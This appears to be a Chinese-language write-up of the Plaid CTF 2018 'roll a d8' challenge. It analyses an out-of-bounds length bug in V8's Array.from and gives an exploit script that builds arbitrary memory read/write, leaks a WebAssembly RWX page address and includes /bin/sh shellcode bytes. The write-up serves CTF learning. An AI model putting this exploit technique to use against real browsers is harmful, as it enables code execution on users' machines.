Plaid CTF 2018 roll a d8

前言

这题是PCTF 2018 中的一道浏览器利用题。

漏洞分析

存在漏洞的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
  void GenerateSetLength(TNode<Context> context, TNode<Object> array,
TNode<Number> length) {
Label fast(this), runtime(this), done(this);
// Only set the length in this stub if
// 1) the array has fast elements,
// 2) the length is writable,
// 3) the new length is greater than or equal to the old length.

// 1) Check that the array has fast elements.
// TODO(delphick): Consider changing this since it does an an unnecessary
// check for SMIs.
// TODO(delphick): Also we could hoist this to after the array construction
// and copy the args into array in the same way as the Array constructor.
// 首先检查是不是FastJSArray
BranchIfFastJSArray(array, context, &fast, &runtime);

BIND(&fast);
{ // 如果是FastJSArray
TNode<JSArray> fast_array = CAST(array);

TNode<Smi> length_smi = CAST(length);

TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
CSA_ASSERT(this, TaggedIsPositiveSmi(old_length));

EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);

// 3) If the created array already has a length greater than required,
// then use the runtime to set the property as that will insert holes
// into the excess elements and/or shrink the backing store.
// old_length 是指已经存在的数组,smi 代表required大小,如果要求的大小小于老的
// 那么执行StoreObjectFieldNoWriteBarrier, 相当于缩小数组大小
// 可以发现,这个时候并没有对smi > old_length 做处理,那可能就导致越界访问了
GotoIf(SmiLessThan(length_smi, old_length), &runtime);

StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);
Goto(&done);
}

BIND(&runtime);
{
CallRuntime(Runtime::kSetProperty, context, static_cast<Node*>(array),
CodeStubAssembler::LengthStringConstant(), length,
SmiConstant(LanguageMode::kStrict));
Goto(&done);
}

BIND(&done);
}
};

Array.from 的代码注释参考大佬的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) {

...
TNode<JSReceiver> array_like = ToObject(context, items);

TVARIABLE(Object, array);
TVARIABLE(Number, length);

// Determine whether items[Symbol.iterator] is defined:
IteratorBuiltinsAssembler iterator_assembler(state());
Node* iterator_method =
iterator_assembler.GetIteratorMethod(context, array_like);
Branch(IsNullOrUndefined(iterator_method), &not_iterable, &iterable);

// 如果可以迭代
BIND(&iterable);
{
...
// 返回一个数组,用于存储迭代后得到的结果
// Construct the output array with empty length.
array = ConstructArrayLike(context, args.GetReceiver());

...
Goto(&loop);

//开始迭代
BIND(&loop);
{
// 判断迭代是否结束
// Loop while iterator is not done.
TNode<Object> next = CAST(iterator_assembler.IteratorStep(
context, iterator_record, &loop_done, fast_iterator_result_map));
TVARIABLE(Object, value,
CAST(iterator_assembler.IteratorValue(
context, next, fast_iterator_result_map)));

...
// 将得到的结果存入array
// Store the result in the output object (catching any exceptions so the
// iterator can be closed).
Node* define_status =
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
GotoIfException(define_status, &on_exception, &var_exception);

// 索引加1
index = NumberInc(index.value());

...
Goto(&loop);
}

//迭代结束
BIND(&loop_done);
{
//将迭代次数赋值给length变量
length = index;
Goto(&finished);
}
...
}

...
BIND(&finished);

// 调用GenerateSetLength,将array和迭代次数作为参数
// Finally set the length on the output and return it.
GenerateSetLength(context, array.value(), length.value());
args.PopAndReturn(array.value());
}

漏洞利用

从上面的分析可以知道,我们的数组又越界了,这样的话,利用方式就跟35c3 krautflare的利用方式一样了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
d2u(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2d(val){
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
function hex(u){
return u.toString(16).padStart(16, "0");
}
var mem = new Memory();

var bufs = [];
var objs = [];
var oobArray = [1.1];
var maxSize = 1028 * 8;

Array.from.call(function() { return oobArray; }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length = 1;
for (let i = 0;i < 100;i++) {
bufs.push(new ArrayBuffer(0x1234));
let obj = {'a': 0x4321, 'b': 0x9999};
objs.push(obj);
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
)});

function test() {} //没什么用,但是去掉后栈的位置会迷之提高(地址偏低),导致后面布置ROP失败
for (let i = 0;i < 1000;i++) {
test();
}

// 可控的buf在oobArray的第i个元素处
let buf_offset = 0;
for(let i = 0; i < maxSize; i++){
let val = mem.d2u(oobArray[i]);
if(val === 0x123400000000){
console.log("buf_offset: " + i.toString());
buf_offset = i;
%DebugPrint(oobArray[i]);
oobArray[i] = mem.u2d(0x121200000000); //修改可控buf的size,做个标记
oobArray[i + 3] = mem.u2d(0x1212);
break;
}
}

// 可控的obj在oobArray的第i个元素处
let obj_offset = 0
for(let i = 0; i < maxSize; i++){
let val = mem.d2u(oobArray[i]);
if(val === 0x432100000000){
console.log("obj_offset: " + i.toString());
obj_offset = i;
oobArray[i] = mem.u2d(0x567800000000); //修改可控obj的属性a,做个标记
break;
}
}

// bufs中的第i个buf是可控的
let controllable_buf_idx = 0;
for(let i = 0; i < bufs.length; i++){
let val = bufs[i].byteLength;
if(val === 0x1212){
%DebugPrint(bufs[i]);
console.log("found controllable buf at idx " + i.toString());
controllable_buf_idx = i;
break;
}
}

// objs中第i个obj是可控的
let controllable_obj_idx = 0;
for(let i = 0; i < objs.length; i++){
let val = objs[i].a;
if(val === 0x5678){
console.log("found controllable obj at idx " + i.toString());
controllable_obj_idx = i;
break;
}
}

var heap_addr = mem.d2u(oobArray[buf_offset + 1]) - 0x10
console.log("heap_addr: 0x" + heap_addr.toString(16));

class arbitraryRW{
constructor(buf_offset, buf_idx, obj_offset, obj_idx){
this.buf_offset = buf_offset;
this.buf_idx = buf_idx;
this.obj_offset = obj_offset;
this.obj_idx = obj_idx;
}
leak_obj(obj){
objs[this.obj_idx].a = obj;
return mem.d2u(oobArray[this.obj_offset]) - 1;
}
read(addr){
let idx = this.buf_offset;
oobArray[idx + 1] = mem.u2d(addr);
oobArray[idx + 2] = mem.u2d(addr);
let tmp = new Float64Array(bufs[this.buf_idx], 0, 0x10);
return mem.d2u(tmp[0]);
}
write(addr, val){
let idx = this.buf_offset;
oobArray[idx + 1] = mem.u2d(addr);
oobArray[idx + 2] = mem.u2d(addr);
let tmp = new Float64Array(bufs[this.buf_idx], 0, 0x10);
tmp.set([mem.u2d(val)]);
}
}
var arw = new arbitraryRW(buf_offset, controllable_buf_idx, obj_offset, controllable_obj_idx);

// let curr_chunk = heap_addr;
// let searched = 0;
// for(let i = 0; i < 0x5000; i++){
// let size = arw.read(curr_chunk + 0x8);
// let prev_size = arw.read(curr_chunk);
// if(size !== 0 && size % 2 === 0 && prev_size <= 0x3f0){
// let tmp_ptr = curr_chunk - prev_size;
// let fd = arw.read(tmp_ptr + 0x10);
// let bk = arw.read(tmp_ptr + 0x18)
// if(parseInt(fd / 0x10000000000) === 0x7f){
// searched = fd;
// break;
// }else if(parseInt(bk / 0x10000000000) === 0x7f){
// searched = bk;
// break;
// }
// } else if(size < 0x20) {
// break;
// }
// size = parseInt(size / 8) * 8
// curr_chunk += size;
// }

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
// if(searched !== 0){
// var libc_base = parseInt((searched - 0x3c4000) / 0x1000) * 0x1000;
// console.log("searched libc_base: 0x" + libc_base.toString(16));
// } else {
// console.log("Not found")
// }

var asm_addr = arw.leak_obj(f);

let sharedInfo =arw.read(asm_addr+0x18)-1;
let functionData=arw.read(sharedInfo+0x8)-1;
%DebugPrint(arw.read(functionData+0x70))
let instanceAddr=parseInt(arw.read(functionData+0x70)/0x10000);
%DebugPrint(instanceAddr)
let sc = [0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05];

// for(let i=0;i<sc.length;i++){
// arw.write(instanceAddr+i,sc[i]);
// }
var shared_info_addr = arw.read(asm_addr + 0x18) - 0x1;
var wasm_exported_func_data_addr = arw.read(shared_info_addr + 0x8) - 0x1;
var wasm_instance_addr = arw.read(wasm_exported_func_data_addr + 0x10) - 0x1;

// var wasm_instance_addr2 = arw.leak_obj(wasmInstance);
%DebugPrint(wasm_instance_addr);
// %SystemBreak();
var rwx_page_addr = arw.read(wasm_instance_addr + 0x88);
%DebugPrint(rwx_page_addr)

console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

// var shellcode = [
// 0x2fbb485299583b6a,
// 0x5368732f6e69622f,
// 0x050f5e5457525f54
// ];

// arw.write(rwx_page_addr, shellcode[0])
// arw.write(rwx_page_addr, shellcode[1])
// arw.write(rwx_page_addr, shellcode[2])

//%SystemBreak();
f();
console.log("end")

总结

这个漏洞利用并不是特别难,在分析的时候从大佬的博客中学到了很多新的东西。

引用

google 上能搜到的roll a d8 相关的博客都翻了一边,感谢各位大大的博客和exp。